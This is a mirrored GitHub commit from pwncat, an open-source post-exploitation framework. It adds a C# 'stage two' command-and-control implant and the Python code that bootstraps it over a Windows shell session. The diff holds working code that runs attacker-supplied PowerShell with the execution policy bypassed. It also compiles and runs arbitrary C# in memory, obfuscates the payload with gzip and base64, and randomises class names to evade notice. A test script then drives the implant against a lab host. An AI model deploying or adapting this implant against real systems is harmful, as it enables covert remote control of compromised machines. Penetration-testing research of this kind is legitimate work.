1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-23 17:15:38 +01:00

Added proper stagetwo source with basic C# and powershell commands

This commit is contained in:
Caleb Stewart 2021-01-01 18:53:13 -05:00
parent 96292b17d4
commit 274611263e
5 changed files with 257 additions and 39 deletions

View File

@ -11,6 +11,7 @@ public static class ConPtyShell
private const string errorString = "{{{ConPtyShellException}}}\r\n";
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
private const uint CREATE_NO_WINDOW = 0x08000000;
@ -236,21 +237,11 @@ public static class ConPtyShell
throw new InvalidOperationException("Could not get console mode");
}
outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
outConsoleMode &= ~ENABLE_WRAP_AT_EOL_OUTPUT;
if (!SetConsoleMode(hStdOut, outConsoleMode))
{
throw new InvalidOperationException("Could not enable virtual terminal processing");
}
IntPtr hStdIn = GetStdHandle(STD_INPUT_HANDLE);
if (!GetConsoleMode(hStdIn, out outConsoleMode))
{
throw new InvalidOperationException("Could not get console mode");
}
outConsoleMode |= 0x0004 | 0x0001 | 0x0200;
if (!SetConsoleMode(hStdIn, outConsoleMode))
{
throw new InvalidOperationException("Could not enable virtual terminal processing");
}
}
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){

78
pwncat/data/stagetwo.cs Normal file
View File

@ -0,0 +1,78 @@
class StageTwo
{
public System.String ReadUntilLine(System.String delimeter)
{
System.Text.StringBuilder builder = new System.Text.StringBuilder();
while (true)
{
System.String line = System.Console.ReadLine();
if (line == delimeter)
{
break;
}
builder.AppendLine(line);
}
return builder.ToString();
}
public void main()
{
object[] args = new object[] { };
System.Console.WriteLine("READY");
while (true)
{
System.String line = System.Console.ReadLine();
var method = GetType().GetMethod(line);
if (method == null) continue;
method.Invoke(this, args);
}
}
public void powershell()
{
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
var startinfo = new System.Diagnostics.ProcessStartInfo()
{
FileName = "powershell.exe",
Arguments = "-noprofile -ep unrestricted -enc " + command,
UseShellExecute = false
};
var p = System.Diagnostics.Process.Start(startinfo);
p.WaitForExit();
}
public void csharp()
{
var cp = new System.CodeDom.Compiler.CompilerParameters()
{
GenerateExecutable = false,
GenerateInMemory = true,
};
while (true)
{
System.String line = System.Console.ReadLine();
if (line == "/* ENDASM */") break;
cp.ReferencedAssemblies.Add(line);
}
cp.ReferencedAssemblies.Add("System.dll");
cp.ReferencedAssemblies.Add("System.Core.dll");
cp.ReferencedAssemblies.Add("System.Dynamic.dll");
cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
var r = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(cp, ReadUntilLine("/* ENDBLOCK */"));
if (r.Errors.HasErrors)
{
return;
}
var obj = r.CompiledAssembly.CreateInstance("command");
obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
}
}

View File

@ -1,13 +1,18 @@
#!/usr/bin/env python3
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
from typing import List
from io import StringIO, BytesIO
import textwrap
import pkg_resources
import pathlib
import base64
import time
import gzip
import os
import pwncat
import pwncat.subprocess
import pwncat.util
from pwncat.platform import Platform, PlatformError, Path
@ -16,6 +21,22 @@ class PopenWindows(pwncat.subprocess.Popen):
Windows-specific Popen wrapper class
"""
def __init__(
self,
platform: Platform,
args,
stdout,
stdin,
text,
encoding,
errors,
bufsize,
start_delim: bytes,
end_delim: bytes,
code_delim: bytes,
):
super().__init__()
class WindowsReader(BufferedIOBase):
"""
@ -37,6 +58,13 @@ class Windows(Platform):
established with an open powershell session."""
PATH_TYPE = pathlib.PureWindowsPath
LIBRARY_IMPORTS = {
"Kernel32": [
"IntPtr GetStdHandle(int nStdHandle)",
"bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode)",
"bool SetConsoleMode(IntPtr hConsoleHandle, uint lpMode)",
]
}
def __init__(
self,
@ -56,13 +84,119 @@ class Windows(Platform):
# Most Windows connections aren't capable of a PTY, and checking
# is difficult this early. We will assume there isn't one.
self.has_pty = False
self.has_pty = True
# Trigger allocation of a pty. Because of powershell and windows
# being unpredictable and weird, we basically *need* this. So,
# we trigger it initially. WinAPI is available everywhere so on
# any relatively recent version of windows, this should be fine.
self.get_pty()
# self.get_pty()
self._bootstrap_stage_two()
# Load requested libraries
# for library, methods in self.LIBRARY_IMPORTS.items():
# self._load_library(library, methods)
def _bootstrap_stage_two(self):
"""This takes the stage one C2 (powershell) and boostraps it for stage
two. Stage two is C# code dynamically compiled and executed. We first
execute a small C# payload from Powershell which then infinitely accepts
more C# to be executed. Further payloads are separated by the delimeters:
- "/* START CODE BLOCK */"
- "/* END CODE BLOCK */"
"""
# Read stage two source code
stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs")
with open(stage_two_path, "rb") as filp:
source = filp.read()
# Randomize class and method name for a smidge of anonymity
clazz = pwncat.util.random_string(8)
main = pwncat.util.random_string(8)
source = source.replace(b"class StageTwo", b"class " + clazz.encode("utf-8"))
source = source.replace(
b"public void main", b"public void " + main.encode("utf-8")
)
# compress and encode source
source_gz = BytesIO()
with gzip.GzipFile(fileobj=source_gz, mode="wb") as gz:
gz.write(source)
source_enc = base64.b64encode(source_gz.getvalue())
# List of needed assemblies for stage two
needed_assemblies = [
"System.dll",
"System.Core.dll",
"System.Dynamic.dll",
"Microsoft.CSharp.dll",
]
# List of commands in the payload to bootstrap stage two
payload = [
"$cp = New-Object System.CodeDom.Compiler.CompilerParameters",
]
# Add all needed assemblies to the compiler parameters
for assembly in needed_assemblies:
payload.append(f"""$cp.ReferencedAssemblies.Add("{assembly}")""")
# Compile our C2 code and execute it
payload.extend(
[
"$cp.GenerateExecutable = $false",
"$cp.GenerateInMemory = $true",
"$gzb = [System.Convert]::FromBase64String((Read-Host))",
"$gzms = New-Object System.IO.MemoryStream -ArgumentList @(,$gzb)",
"$gz = New-Object System.IO.Compression.GzipStream $gzms, ([IO.Compression.CompressionMode]::Decompress)",
f"$source = New-Object byte[]({len(source)})",
f"$gz.Read($source, 0, {len(source)})",
"$gz.Close()",
"$r = (New-Object Microsoft.CSharp.CSharpCodeProvider).CompileAssemblyFromSource($cp, [System.Text.Encoding]::ASCII.GetString($source))",
f"""$r.CompiledAssembly.CreateInstance("{clazz}").{main}()""",
]
)
# Send the payload, then send the encoded and compressed code
self.channel.send((";".join(payload)).encode("utf-8") + b"\n")
self.channel.send(source_enc + b"\n")
# Wait for the new C2 to be ready
self.channel.recvuntil(b"READY")
def _load_library(self, name: str, methods: List[str]):
"""Load the library. This adds a global with the same name as `name`
which contains a reference to the library with all methods specified in
`mehods` loaded."""
name = name.encode("utf-8")
method_def = b""
for method in methods:
method = method.encode("utf-8")
# self.channel.send(
method_def += (
b'[DllImport(`"'
+ name
+ b'.dll`", SetLastError = true)]`npublic static extern '
+ method
+ b";`n"
)
command = (
b"$"
+ name
+ b' = Add-Type -MemberDefinition "'
+ method_def
+ b"\" -Name '"
+ name
+ b"' -Namespace 'Win32' -PassThru\n"
)
self.channel.send(command)
self.session.manager.log(command.decode("utf-8").strip())
def get_pty(self):
""" Spawn a PTY in the current shell. """
@ -91,7 +225,6 @@ class Windows(Platform):
for idx in range(0, len(source), CHUNK_SZ):
chunk = source[idx : idx + CHUNK_SZ]
self.channel.send(b'$source = $source + "' + chunk + b'"\n')
time.sleep(0.1)
# decode the source
self.channel.send(
@ -109,9 +242,6 @@ class Windows(Platform):
+ b"\n"
)
self.channel.recvuntil(b"> ")
self.channel.send(b"\n")
self.has_pty = True
def get_host_hash(self):
@ -124,6 +254,8 @@ class Windows(Platform):
@interactive.setter
def interactive(self, value):
return
if value:
command = (
@ -138,13 +270,10 @@ class Windows(Platform):
"}",
]
)
+ "\r\r"
+ "\r"
)
self.logger.info(command.rstrip("\n"))
self.channel.send(command.encode("utf-8"))
self.channel.recvuntil(b"$")
self.channel.recvuntil(b"\n")
return

View File

@ -94,7 +94,7 @@ class CompilationError(Exception):
def isprintable(data) -> bool:
"""
This is a convenience function to be used rather than the usual
This is a convenience function to be used rather than the usual
``str.printable`` boolean value, as that built-in **DOES NOT** consider
newlines to be part of the printable data set (weird!)
"""
@ -113,9 +113,9 @@ def human_readable_size(size, decimal_places=2):
def human_readable_delta(seconds):
""" This produces a human-readable time-delta output suitable for output to
"""This produces a human-readable time-delta output suitable for output to
the terminal. It assumes that "seconds" is less than 1 day. I.e. it will only
display at most, hours minutes and seconds. """
display at most, hours minutes and seconds."""
if seconds < 60:
return f"{seconds:.2f} seconds"
@ -134,17 +134,17 @@ def human_readable_delta(seconds):
def join(argv: List[str]):
""" Join the string much line shlex.join, except assume that each token
"""Join the string much line shlex.join, except assume that each token
is expecting double quotes. This allows variable references within the
tokens. """
tokens."""
return " ".join([quote(x) for x in argv])
def quote(token: str):
""" Quote the token much like shlex.quote, except don't use single quotes
"""Quote the token much like shlex.quote, except don't use single quotes
this will escape any double quotes in the string and wrap it in double
quotes. If there are no spaces, it returns the stirng unchanged. """
quotes. If there are no spaces, it returns the stirng unchanged."""
for c in token:
if c in string.whitespace:
break
@ -176,8 +176,8 @@ def escape_markdown(s: str) -> str:
def copyfileobj(src, dst, callback, nomv=False):
""" Copy a file object to another file object with a callback.
This method assumes that both files are binary and support readinto
"""Copy a file object to another file object with a callback.
This method assumes that both files are binary and support readinto
"""
try:
@ -209,11 +209,11 @@ def copyfileobj(src, dst, callback, nomv=False):
def with_progress(title: str, target: Callable[[Callable], None], length: int = None):
""" A shortcut to displaying a progress bar for various things. It will
start a prompt_toolkit progress bar with the given title and a counter
"""A shortcut to displaying a progress bar for various things. It will
start a prompt_toolkit progress bar with the given title and a counter
with the given length. Then, it will call `target` with an `on_progress`
parameter. This parameter should be called for all progress updates. See
the `do_upload` and `do_download` for examples w/ copyfileobj """
the `do_upload` and `do_download` for examples w/ copyfileobj"""
with ProgressBar(title) as pb:
counter = pb(range(length))
@ -242,13 +242,15 @@ def with_progress(title: str, target: Callable[[Callable], None], length: int =
def random_string(length: int = 8):
""" Create a random alphanumeric string """
return "".join(random.choice(ALPHANUMERIC) for _ in range(length))
return random.choice(string.ascii_letters) + "".join(
random.choice(ALPHANUMERIC) for _ in range(length - 1)
)
def enter_raw_mode():
""" Set stdin/stdout to raw mode to pass data directly.
"""Set stdin/stdout to raw mode to pass data directly.
returns: the old state of the terminal
returns: the old state of the terminal
"""
# Ensure we don't have any weird buffering issues
@ -297,9 +299,9 @@ def restore_terminal(state, new_line=True):
def get_ip_addr() -> str:
""" Retrieve the current IP address. This will return the first tun/tap
interface if availabe. Otherwise, it will return the first "normal"
interface with no preference for wired/wireless. """
"""Retrieve the current IP address. This will return the first tun/tap
interface if availabe. Otherwise, it will return the first "normal"
interface with no preference for wired/wireless."""
PROTO = netifaces.AF_INET
ifaces = [

18
test.py
View File

@ -1,5 +1,6 @@
#!./env/bin/python
import pwncat.manager
import time
# Create a manager
manager = pwncat.manager.Manager("data/pwncatrc")
@ -7,4 +8,21 @@ manager = pwncat.manager.Manager("data/pwncatrc")
# Establish a session
session = manager.create_session("windows", host="192.168.122.11", port=4444)
session.platform.channel.send(
b"""
csharp
/* ENDASM */
class command {
public void main()
{
System.Console.WriteLine("We can execute C# Now!");
}
}
/* ENDBLOCK */
powershell
Write-Host "And we can execute powershell!"
# ENDBLOCK
"""
)
manager.interactive()